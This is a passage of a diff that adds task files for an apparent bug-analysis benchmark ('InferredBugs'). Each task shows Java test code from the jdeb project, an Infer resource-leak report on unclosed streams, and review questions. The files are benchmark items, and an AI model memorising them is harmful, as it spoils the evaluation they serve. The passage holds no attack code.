+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.vafer.jdeb.ant;
+
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.io.PrintStream;
+import java.util.zip.GZIPInputStream;
+
+import junit.framework.TestCase;
+
+import org.apache.tools.ant.BuildException;
+import org.apache.tools.ant.DefaultLogger;
+import org.apache.tools.ant.Project;
+import org.apache.tools.ant.ProjectHelper;
+import org.apache.tools.bzip2.CBZip2InputStream;
+import org.apache.tools.tar.TarEntry;
+import org.apache.tools.tar.TarInputStream;
+import org.vafer.jdeb.ar.ArEntry;
+import org.vafer.jdeb.ar.ArInputStream;
+import org.vafer.jdeb.ar.NonClosingInputStream;
+
+/**
+ * @author Emmanuel Bourg
+ */
+public final class DebAntTaskTestCase extends TestCase {
+
+    private Project project;
+
+    protected void setUp() throws Exception {
+        project = new Project();
+        project.setCoreLoader(getClass().getClassLoader());
+        project.init();
+
+        File buildFile = new File("target/test-classes/testbuild.xml");
+        project.setBaseDir(buildFile.getParentFile());
+
+        final ProjectHelper helper = ProjectHelper.getProjectHelper();
+        helper.parse(project, buildFile);
+
+        // remove the package previously build
+        File deb = new File("target/test.deb");
+        if (deb.exists()) {
+            assertTrue("Unable to remove the test archive", deb.delete());
+        }
+    }
+
+    public void testMissingControl() {
+        try {
+            project.executeTarget("missing-control");
+            fail("No exception thrown");
+        } catch (BuildException e) {
+            // expected
+        }
+    }
+
+    public void testInvalidControl() {
+        try {
+            project.executeTarget("invalid-control");
+            fail("No exception thrown");
+        } catch (BuildException e) {
+            // expected
+        }
+    }
+
+    public void testMissingDestFile() {
+        try {
+            project.executeTarget("missing-destfile");
+            fail("No exception thrown");
+        } catch (BuildException e) {
+            // expected
+        }
+    }
+
+    public void testEmptyPackage() {
+        try {
+            project.executeTarget("empty-package");
+            fail("No exception thrown");
+        } catch (BuildException e) {
+            // expected
+        }
+    }
+
+    public void testPackageWithArchive() {
+        project.executeTarget("with-archive");
+
+        assertTrue("package not build", new File("target/test-classes/test.deb").exists());
+    }
+
+    public void testPackageWithMissingArchive() {
+        try {
+            project.executeTarget("with-missing-archive");
+            fail("No exception thrown");
+        } catch (BuildException e) {
+            // expected
+        }
+    }
+
+    public void testPackageWithDirectory() {
+        project.executeTarget("with-directory");
+
+        assertTrue("package not build", new File("target/test-classes/test.deb").exists());
+    }
+
+    public void testPackageWithMissingDirectory() {
+        try {
+            project.executeTarget("with-missing-directory");
+            fail("No exception thrown");
+        } catch (BuildException e) {
+            // expected
+        }
+    }
+
+    /**
+     * Redirects the Ant output to the specified stream.
+     */
+    private void redirectOutput(OutputStream out) {
+        DefaultLogger logger = new DefaultLogger();
+        logger.setOutputPrintStream(new PrintStream(out));
+        logger.setMessageOutputLevel(Project.MSG_INFO);
+        project.addBuildListener(logger);
+    }
+
+    public void testVerboseEnabled() {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        redirectOutput(out);
+
+        project.executeTarget("verbose-enabled");
+
+        assertTrue(out.toString().indexOf("Total size") != -1);
+    }
+
+    public void testVerboseDisabled() {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        redirectOutput(out);
+
+        project.executeTarget("verbose-disabled");
+
+        assertTrue(out.toString().indexOf("Total size") == -1);
+    }
+
+    public void testFileSet() {
+        project.executeTarget("fileset");
+
+        assertTrue("package not build", new File("target/test-classes/test.deb").exists());
+    }
+
+    public void testTarFileSet() throws Exception {
+        project.executeTarget("tarfileset");
+
+        File deb = new File("target/test-classes/test.deb");
+        assertTrue("package not build", deb.exists());
+
+        ArInputStream in = new ArInputStream(new FileInputStream(deb));
+        ArEntry entry;
+        while ((entry = in.getNextEntry()) != null) {
+            if (entry.getName().equals("data.tar.gz")) {
+                TarInputStream tar = new TarInputStream(new GZIPInputStream(new NonClosingInputStream(in)));
+                TarEntry tarentry;
+                while ((tarentry = tar.getNextEntry()) != null) {
+                    assertTrue("prefix", tarentry.getName().startsWith("./foo/"));
+                    if (tarentry.isDirectory()) {
+                        assertEquals("directory mode (" + tarentry.getName() + ")", 040700, tarentry.getMode());
+                    } else {
+                        assertEquals("file mode (" + tarentry.getName() + ")", 0100600, tarentry.getMode());
+                    }
+                    assertEquals("user", "ebourg", tarentry.getUserName());
+                    assertEquals("group", "ebourg", tarentry.getGroupName());
+                }
+                tar.close();
+            } else {
+                // skip to the next entry
+                long skip = entry.getLength(); 
+                while(skip > 0) {
+                    long skipped = in.skip(skip); 
+                    if (skipped == -1) {
+                        throw new IOException("Failed to skip");
+                    }
+                    skip -= skipped;
+                }
+            }
+        }
+        in.close();
+    }
+
+    public void testUnkownCompression() throws Exception {
+        try {
+            project.executeTarget("unknown-compression");
+            fail("No exception thrown");
+        } catch (BuildException e) {
+            // expected
+        }
+    }
+
+    public void testBZip2Compression() throws Exception {
+        project.executeTarget("bzip2-compression");
+
+        File deb = new File("target/test-classes/test.deb");
+        assertTrue("package not build", deb.exists());
+
+        boolean found = false;
+
+        ArInputStream in = new ArInputStream(new FileInputStream(deb));
+        ArEntry entry;
+        while ((entry = in.getNextEntry()) != null) {
+            if (entry.getName().equals("data.tar.bz2")) {
+                found = true;
+
+                assertEquals("header 0", (byte) 'B', in.read());
+                assertEquals("header 1", (byte) 'Z', in.read());
+
+                TarInputStream tar = new TarInputStream(new CBZip2InputStream(in));
+                while ((tar.getNextEntry()) != null);
+                tar.close();
+                break;
+            } else {
+                // skip to the next entry
+                long skip = entry.getLength(); 
+                while(skip > 0) {
+                    long skipped = in.skip(skip); 
+                    if (skipped == -1) {
+                        throw new IOException("Failed to skip");
+                    }
+                    skip -= skipped;
+                }
+            }
+        }
+        in.close();
+
+        assertTrue("bz2 file not found", found);
+    }
+
+    public void testNoCompression() throws Exception {
+        project.executeTarget("no-compression");
+
+        File deb = new File("target/test-classes/test.deb");
+        assertTrue("package not build", deb.exists());
+
+        boolean found = false;
+
+        ArInputStream in = new ArInputStream(new FileInputStream(deb));
+        ArEntry entry;
+        while ((entry = in.getNextEntry()) != null) {
+            if (entry.getName().equals("data.tar")) {
+                found = true;
+
+                TarInputStream tar = new TarInputStream(new NonClosingInputStream(in));
+                while ((tar.getNextEntry()) != null);
+                tar.close();
+            } else {
+                // skip to the next entry
+                long skip = entry.getLength(); 
+                while(skip > 0) {
+                    long skipped = in.skip(skip); 
+                    if (skipped == -1) {
+                        throw new IOException("Failed to skip");
+                    }
+                    skip -= skipped;
+                }
+            }
+        }
+        in.close();
+
+        assertTrue("tar file not found", found);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.vafer.jdeb.ar.ArInputStream` acquired to `in` by call to `new()` at line 219 is not released after line 247.
+**Note**: potential exception at line 225
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DebAntTaskTestCase.testBZip2Compression()
+
+### Procedure Id:
+org.vafer.jdeb.ant.DebAntTaskTestCase.testBZip2Compression():void.f7bad500b7005e050281940ebb002e08
+
+### File:
+src/test/java/org/vafer/jdeb/ant/DebAntTaskTestCase.java
+
+### Key:
+DebAntTaskTestCase.java|testBZip2Compression|RESOURCE_LEAK
+
+### Node Key:
+48815eab4c26cee962db00712b67bbd0
+
+### Hash:
+d6a463f85b16803abc21dbbbd028a1b8
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10619/instruction.md b/inferredbugs-10619/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..4bc2a2d4e60f1bf602ddb052d3f2ec47c240e56e
--- /dev/null
+++ b/inferredbugs-10619/instruction.md
@@ -0,0 +1,325 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jdeb
+**Bug ID:** 9
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2008 The Apache Software Foundation.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.vafer.jdeb.ant;
+
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.OutputStream;
+import java.io.PrintStream;
+import java.util.zip.GZIPInputStream;
+
+import junit.framework.TestCase;
+import org.apache.tools.ant.BuildException;
+import org.apache.tools.ant.DefaultLogger;
+import org.apache.tools.ant.Project;
+import org.apache.tools.ant.ProjectHelper;
+import org.apache.tools.bzip2.CBZip2InputStream;
+import org.apache.tools.tar.TarEntry;
+import org.apache.tools.tar.TarInputStream;
+import org.vafer.jdeb.ar.ArEntry;
+import org.vafer.jdeb.ar.ArInputStream;
+
+/**
+ * @author Emmanuel Bourg
+ * @version $Revision$, $Date$
+ */
+public class DebAntTaskTestCase extends TestCase {
+
+	private Project project;
+
+	protected void setUp() throws Exception {
+		project = new Project();
+		project.setCoreLoader(getClass().getClassLoader());
+		project.init();
+
+		File buildFile = new File("target/test-classes/testbuild.xml");
+		project.setBaseDir(buildFile.getParentFile());
+		ProjectHelper.configureProject(project, buildFile);
+
+		// remove the package previously build
+		File deb = new File("target/test.deb");
+		if (deb.exists()) {
+			assertTrue("Unable to remove the test archive", deb.delete());
+		}
+	}
+
+	public void testMissingControl() {
+		try {
+			project.executeTarget("missing-control");
+			fail("No exception thrown");
+		} catch (BuildException e) {
+			// expected
+		}
+	}
+
+	public void testInvalidControl() {
+		try {
+			project.executeTarget("invalid-control");
+			fail("No exception thrown");
+		} catch (BuildException e) {
+			// expected
+		}
+	}
+
+	public void testMissingDestFile() {
+		try {
+			project.executeTarget("missing-destfile");
+			fail("No exception thrown");
+		} catch (BuildException e) {
+			// expected
+		}
+	}
+
+	public void testEmptyPackage() {
+		try {
+			project.executeTarget("empty-package");
+			fail("No exception thrown");
+		} catch (BuildException e) {
+			// expected
+		}
+	}
+
+	public void testPackageWithArchive() {
+		project.executeTarget("with-archive");
+
+		assertTrue("package not build", new File("target/test-classes/test.deb").exists());
+	}
+
+	public void testPackageWithMissingArchive() {
+		try {
+			project.executeTarget("with-missing-archive");
+			fail("No exception thrown");
+		} catch (BuildException e) {
+			// expected
+		}
+	}
+
+	public void testPackageWithDirectory() {
+		project.executeTarget("with-directory");
+
+		assertTrue("package not build", new File("target/test-classes/test.deb").exists());
+	}
+
+	public void testPackageWithMissingDirectory() {
+		try {
+			project.executeTarget("with-missing-directory");
+			fail("No exception thrown");
+		} catch (BuildException e) {
+			// expected
+		}
+	}
+
+	/**
+	 * Redirects the Ant output to the specified stream.
+	 */
+	private void redirectOutput(OutputStream out) {
+		DefaultLogger logger = new DefaultLogger();
+		logger.setOutputPrintStream(new PrintStream(out));
+		logger.setMessageOutputLevel(Project.MSG_INFO);
+		project.addBuildListener(logger);
+	}
+
+	public void testVerboseEnabled() {
+		ByteArrayOutputStream out = new ByteArrayOutputStream();
+		redirectOutput(out);
+
+		project.executeTarget("verbose-enabled");
+
+		assertTrue(out.toString().indexOf("Total size") != -1);
+	}
+
+	public void testVerboseDisabled() {
+		ByteArrayOutputStream out = new ByteArrayOutputStream();
+		redirectOutput(out);
+
+		project.executeTarget("verbose-disabled");
+
+		assertTrue(out.toString().indexOf("Total size") == -1);
+	}
+
+	public void testFileSet() {
+		project.executeTarget("fileset");
+
+		assertTrue("package not build", new File("target/test-classes/test.deb").exists());
+	}
+
+	public void testTarFileSet() throws Exception {
+		project.executeTarget("tarfileset");
+
+		File deb = new File("target/test-classes/test.deb");
+		assertTrue("package not build", deb.exists());
+
+		ArInputStream in = new ArInputStream(new FileInputStream(deb));
+		ArEntry entry;
+		while ((entry = in.getNextEntry()) != null) {
+			if (entry.getName().equals("data.tar.gz")) {
+				TarInputStream tar = new TarInputStream(new GZIPInputStream(in));
+				TarEntry tarentry;
+				while ((tarentry = tar.getNextEntry()) != null) {
+					assertTrue("prefix", tarentry.getName().startsWith("/foo/"));
+					if (tarentry.isDirectory()) {
+						assertEquals("directory mode (" + tarentry.getName() + ")", 040700, tarentry.getMode());
+					} else {
+						assertEquals("file mode (" + tarentry.getName() + ")", 0100600, tarentry.getMode());
+					}
+					assertEquals("user", "ebourg", tarentry.getUserName());
+					assertEquals("group", "ebourg", tarentry.getGroupName());
+				}
+			} else {
+				// skip to the next entry
+				in.skip(entry.getLength());
+			}
+		}
+	}
+
+	public void testUnkownCompression() throws Exception {
+		try {
+			project.executeTarget("unknown-compression");
+			fail("No exception thrown");
+		} catch (BuildException e) {
+			// expected
+		}
+	}
+
+	public void testBZip2Compression() throws Exception {
+		project.executeTarget("bzip2-compression");
+
+		File deb = new File("target/test-classes/test.deb");
+		assertTrue("package not build", deb.exists());
+
+		boolean found = false;
+
+		ArInputStream in = new ArInputStream(new FileInputStream(deb));
+		ArEntry entry;
+		while ((entry = in.getNextEntry()) != null) {
+			if (entry.getName().equals("data.tar.bz2")) {
+				found = true;
+
+				assertEquals("header 0", (byte) 'B', in.read());
+				assertEquals("header 1", (byte) 'Z', in.read());
+
+				TarInputStream tar = new TarInputStream(new CBZip2InputStream(in));
+				while ((tar.getNextEntry()) != null);
+				break;
+			} else {
+				// skip to the next entry
+				in.skip(entry.getLength());
+			}
+		}
+
+		assertTrue("bz2 file not found", found);
+	}
+
+	public void testNoCompression() throws Exception {
+		project.executeTarget("no-compression");
+
+		File deb = new File("target/test-classes/test.deb");
+		assertTrue("package not build", deb.exists());
+
+		boolean found = false;
+
+		ArInputStream in = new ArInputStream(new FileInputStream(deb));
+		ArEntry entry;
+		while ((entry = in.getNextEntry()) != null) {
+			if (entry.getName().equals("data.tar")) {
+				found = true;
+
+				TarInputStream tar = new TarInputStream(in);
+				while ((tar.getNextEntry()) != null);
+			} else {
+				// skip to the next entry
+				in.skip(entry.getLength());
+			}
+		}
+
+		assertTrue("tar file not found", found);
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.tools.tar.TarInputStream` acquired to `tar` by call to `new()` at line 215 is not released after line 216.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DebAntTaskTestCase.testBZip2Compression()
+
+### Procedure Id:
+org.vafer.jdeb.ant.DebAntTaskTestCase.testBZip2Compression():void.f7bad500b7005e050281940ebb002e08
+
+### File:
+src/test/java/org/vafer/jdeb/ant/DebAntTaskTestCase.java
+
+### Key:
+DebAntTaskTestCase.java|testBZip2Compression|RESOURCE_LEAK
+
+### Node Key:
+1e4115f00d05a7d2b0414093f93a692e
+
+### Hash:
+eabdebc95ea6ca073d9933c4f3a34226
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10621/instruction.md b/inferredbugs-10621/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..28c1f713b719d8eb04183a0eb3a8f3bd171dab82
--- /dev/null
+++ b/inferredbugs-10621/instruction.md
@@ -0,0 +1,169 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jdeb
+**Bug ID:** 7
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2005 The Apache Software Foundation.
+ * 
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ * 
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ * 
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.vafer.jdeb;
+
+import java.io.File;
+import java.io.FileInputStream;
+import java.util.HashSet;
+import java.util.Set;
+import java.util.zip.GZIPInputStream;
+
+import junit.framework.TestCase;
+
+import org.apache.tools.tar.TarEntry;
+import org.apache.tools.tar.TarInputStream;
+import org.vafer.jdeb.ar.ArEntry;
+import org.vafer.jdeb.ar.ArInputStream;
+import org.vafer.jdeb.descriptors.PackageDescriptor;
+import org.vafer.jdeb.producers.DataProducerArchive;
+import org.vafer.jdeb.producers.DataProducerDirectory;
+
+public final class DataProducerTestCase extends TestCase {
+
+	public void testCreation() throws Exception {
+
+		final Processor processor = new Processor(new Console() {
+			public void println(String s) {
+			}
+		}, null);
+		
+		final File control = new File(getClass().getResource("deb/control/control").toURI());
+		final File archive1 = new File(getClass().getResource("deb/data.tgz").toURI());
+		final File archive2 = new File(getClass().getResource("deb/data.tar.bz2").toURI());
+		final File directory = new File(getClass().getResource("deb/data").toURI());
+		
+		final DataProducer[] data = new DataProducer[] {
+				new DataProducerArchive(archive1, null, null, null),
+				new DataProducerArchive(archive2, null, null, null),
+				new DataProducerDirectory(directory, null, new String[] { "**/.svn/**" }, null)
+		};
+		
+		final File deb = File.createTempFile("jdeb", ".deb");
+		
+		final PackageDescriptor packageDescriptor = processor.createDeb(new File[] { control }, data, deb, "gzip");
+		
+		assertTrue(packageDescriptor.isValid());
+		
+		final Set filesInDeb = new HashSet();
+		
+		final ArInputStream ar = new ArInputStream(new FileInputStream(deb));
+		while(true) {
+			final ArEntry arEntry = ar.getNextEntry();
+			if (arEntry == null) {
+				break;
+			}
+			
+			if ("data.tar.gz".equals(arEntry.getName())) {
+				
+				final TarInputStream tar = new TarInputStream(new GZIPInputStream(ar));
+				
+				while(true) {
+					final TarEntry tarEntry = tar.getNextEntry();
+					if (tarEntry == null) {
+						break;
+					}
+					
+					filesInDeb.add(tarEntry.getName());
+				}
+				
+				break;
+			}
+			for (int i = 0; i < arEntry.getLength(); i++) {
+				ar.read();
+			}
+		}
+		
+		assertTrue("" + filesInDeb, filesInDeb.contains("/test/testfile"));
+		assertTrue("" + filesInDeb, filesInDeb.contains("/test/testfile2"));
+		assertTrue("" + filesInDeb, filesInDeb.contains("/test/testfile3"));
+
+		deb.delete();
+	}
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `org.apache.tools.tar.TarInputStream` acquired to `tar` by call to `new()` at line 71 is not released after line 75.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DataProducerTestCase.testCreation()
+
+### Procedure Id:
+org.vafer.jdeb.DataProducerTestCase.testCreation():void.7486e7b7cafaccd2e25306cfabd83372
+
+### File:
+src/test/java/org/vafer/jdeb/DataProducerTestCase.java
+
+### Key:
+DataProducerTestCase.java|testCreation|RESOURCE_LEAK
+
+### Node Key:
+d6235c9d7dacc2ae408ed6764315ae8f
+
+### Hash:
+ec146531b8fae50614a6903180fbc33f
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-10626/instruction.md b/inferredbugs-10626/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..000c862afec67e71d52c70ecc3ae0ef36fb8734a
--- /dev/null
+++ b/inferredbugs-10626/instruction.md
@@ -0,0 +1,356 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** jdeb
+**Bug ID:** 17
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+/*
+ * Copyright 2008 The Apache Software Foundation.
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.vafer.jdeb.ant;
+
+import java.io.ByteArrayOutputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.IOException;
+import java.io.OutputStream;
+import java.io.PrintStream;
+import java.util.zip.GZIPInputStream;
+
+import junit.framework.TestCase;
+
+import org.apache.tools.ant.BuildException;
+import org.apache.tools.ant.DefaultLogger;
+import org.apache.tools.ant.Project;
+import org.apache.tools.ant.ProjectHelper;
+import org.apache.tools.bzip2.CBZip2InputStream;
+import org.apache.tools.tar.TarEntry;
+import org.apache.tools.tar.TarInputStream;
+import org.vafer.jdeb.ar.ArEntry;
+import org.vafer.jdeb.ar.ArInputStream;
+import org.vafer.jdeb.ar.NonClosingInputStream;
+
+/**
+ * @author Emmanuel Bourg
+ */
+public final class DebAntTaskTestCase extends TestCase {
+
+    private Project project;
+
+    protected void setUp() throws Exception {
+        project = new Project();
+        project.setCoreLoader(getClass().getClassLoader());
+        project.init();
+
+        File buildFile = new File("target/test-classes/testbuild.xml");
+        project.setBaseDir(buildFile.getParentFile());
+
+        final ProjectHelper helper = ProjectHelper.getProjectHelper();
+        helper.parse(project, buildFile);
+
+        // remove the package previously build
+        File deb = new File("target/test.deb");
+        if (deb.exists()) {
+            assertTrue("Unable to remove the test archive", deb.delete());
+        }
+    }
+
+    public void testMissingControl() {
+        try {
+            project.executeTarget("missing-control");
+            fail("No exception thrown");
+        } catch (BuildException e) {
+            // expected
+        }
+    }
+
+    public void testInvalidControl() {
+        try {
+            project.executeTarget("invalid-control");
+            fail("No exception thrown");
+        } catch (BuildException e) {
+            // expected
+        }
+    }
+
+    public void testMissingDestFile() {
+        try {
+            project.executeTarget("missing-destfile");
+            fail("No exception thrown");
+        } catch (BuildException e) {
+            // expected
+        }
+    }
+
+    public void testEmptyPackage() {
+        try {
+            project.executeTarget("empty-package");
+            fail("No exception thrown");
+        } catch (BuildException e) {
+            // expected
+        }
+    }
+
+    public void testPackageWithArchive() {
+        project.executeTarget("with-archive");
+
+        assertTrue("package not build", new File("target/test-classes/test.deb").exists());
+    }
+
+    public void testPackageWithMissingArchive() {
+        try {
+            project.executeTarget("with-missing-archive");
+            fail("No exception thrown");
+        } catch (BuildException e) {
+            // expected
+        }
+    }
+
+    public void testPackageWithDirectory() {
+        project.executeTarget("with-directory");
+
+        assertTrue("package not build", new File("target/test-classes/test.deb").exists());
+    }
+
+    public void testPackageWithMissingDirectory() {
+        try {
+            project.executeTarget("with-missing-directory");
+            fail("No exception thrown");
+        } catch (BuildException e) {
+            // expected
+        }
+    }
+
+    /**
+     * Redirects the Ant output to the specified stream.
+     */
+    private void redirectOutput(OutputStream out) {
+        DefaultLogger logger = new DefaultLogger();
+        logger.setOutputPrintStream(new PrintStream(out));
+        logger.setMessageOutputLevel(Project.MSG_INFO);
+        project.addBuildListener(logger);
+    }
+
+    public void testVerboseEnabled() {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        redirectOutput(out);
+
+        project.executeTarget("verbose-enabled");
+
+        assertTrue(out.toString().indexOf("Total size") != -1);
+    }
+
+    public void testVerboseDisabled() {
+        ByteArrayOutputStream out = new ByteArrayOutputStream();
+        redirectOutput(out);
+
+        project.executeTarget("verbose-disabled");
+
+        assertTrue(out.toString().indexOf("Total size") == -1);
+    }
+
+    public void testFileSet() {
+        project.executeTarget("fileset");
+
+        assertTrue("package not build", new File("target/test-classes/test.deb").exists());
+    }
+
+    public void testTarFileSet() throws Exception {
+        project.executeTarget("tarfileset");
+
+        File deb = new File("target/test-classes/test.deb");
+        assertTrue("package not build", deb.exists());
+
+        ArInputStream in = new ArInputStream(new FileInputStream(deb));
+        ArEntry entry;
+        while ((entry = in.getNextEntry()) != null) {
+            if (entry.getName().equals("data.tar.gz")) {
+                TarInputStream tar = new TarInputStream(new GZIPInputStream(new NonClosingInputStream(in)));
+                TarEntry tarentry;
+                while ((tarentry = tar.getNextEntry()) != null) {
+                    assertTrue("prefix", tarentry.getName().startsWith("./foo/"));
+                    if (tarentry.isDirectory()) {
+                        assertEquals("directory mode (" + tarentry.getName() + ")", 040700, tarentry.getMode());
+                    } else {
+                        assertEquals("file mode (" + tarentry.getName() + ")", 0100600, tarentry.getMode());
+                    }
+                    assertEquals("user", "ebourg", tarentry.getUserName());
+                    assertEquals("group", "ebourg", tarentry.getGroupName());
+                }
+                tar.close();
+            } else {
+                // skip to the next entry
+                long skip = entry.getLength(); 
+                while(skip > 0) {
+                    long skipped = in.skip(skip); 
+                    if (skipped == -1) {
+                        throw new IOException("Failed to skip");
+                    }
+                    skip -= skipped;
+                }
+            }
+        }
+        in.close();
+    }
+
+    public void testUnkownCompression() throws Exception {
+        try {
+            project.executeTarget("unknown-compression");
+            fail("No exception thrown");
+        } catch (BuildException e) {
+            // expected
+        }
+    }
+
+    public void testBZip2Compression() throws Exception {
+        project.executeTarget("bzip2-compression");
+
+        File deb = new File("target/test-classes/test.deb");
+        assertTrue("package not build", deb.exists());
+
+        boolean found = false;
+
+        ArInputStream in = new ArInputStream(new FileInputStream(deb));
+        ArEntry entry;
+        while ((entry = in.getNextEntry()) != null) {
+            if (entry.getName().equals("data.tar.bz2")) {
+                found = true;
+
+                assertEquals("header 0", (byte) 'B', in.read());
+                assertEquals("header 1", (byte) 'Z', in.read());
+
+                TarInputStream tar = new TarInputStream(new CBZip2InputStream(in));
+                while ((tar.getNextEntry()) != null);
+                tar.close();
+                break;
+            } else {
+                // skip to the next entry
+                long skip = entry.getLength(); 
+                while(skip > 0) {
+                    long skipped = in.skip(skip); 
+                    if (skipped == -1) {
+                        throw new IOException("Failed to skip");
+                    }
+                    skip -= skipped;
+                }
+            }
+        }
+        in.close();
+
+        assertTrue("bz2 file not found", found);
+    }
+
+    public void testNoCompression() throws Exception {
+        project.executeTarget("no-compression");
+
+        File deb = new File("target/test-classes/test.deb");
+        assertTrue("package not build", deb.exists());
+
+        boolean found = false;
+
+        ArInputStream in = new ArInputStream(new FileInputStream(deb));
+        ArEntry entry;
+        while ((entry = in.getNextEntry()) != null) {
+            if (entry.getName().equals("data.tar")) {
+                found = true;
+
+                TarInputStream tar = new TarInputStream(new NonClosingInputStream(in));
+                while ((tar.getNextEntry()) != null);
+                tar.close();
+            } else {
+                // skip to the next entry
+                long skip = entry.getLength(); 
+                while(skip > 0) {
+                    long skipped = in.skip(skip); 
+                    if (skipped == -1) {
+                        throw new IOException("Failed to skip");
+                    }
+                    skip -= skipped;
+                }
+            }
+        }
+        in.close();
+
+        assertTrue("tar file not found", found);
+    }
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+RESOURCE_LEAK
+
+### Qualifier:
+resource of type `java.io.FileInputStream` acquired by call to `FileInputStream(...)` at line 219 is not released after line 238.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void DebAntTaskTestCase.testBZip2Compression()
+
+### Procedure Id:
+org.vafer.jdeb.ant.DebAntTaskTestCase.testBZip2Compression():void.f7bad500b7005e050281940ebb002e08
+
+### File:
+src/test/java/org/vafer/jdeb/ant/DebAntTaskTestCase.java
+
+### Key:
+DebAntTaskTestCase.java|testBZip2Compression|RESOURCE_LEAK
+
+### Node Key:
+99f813e1b01bd7111afa5cb643a24406
+
+### Hash:
+694a770257a8796f7fddb1910ba967c3
+
+### Bug Type Hum:
+Resource Leak
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
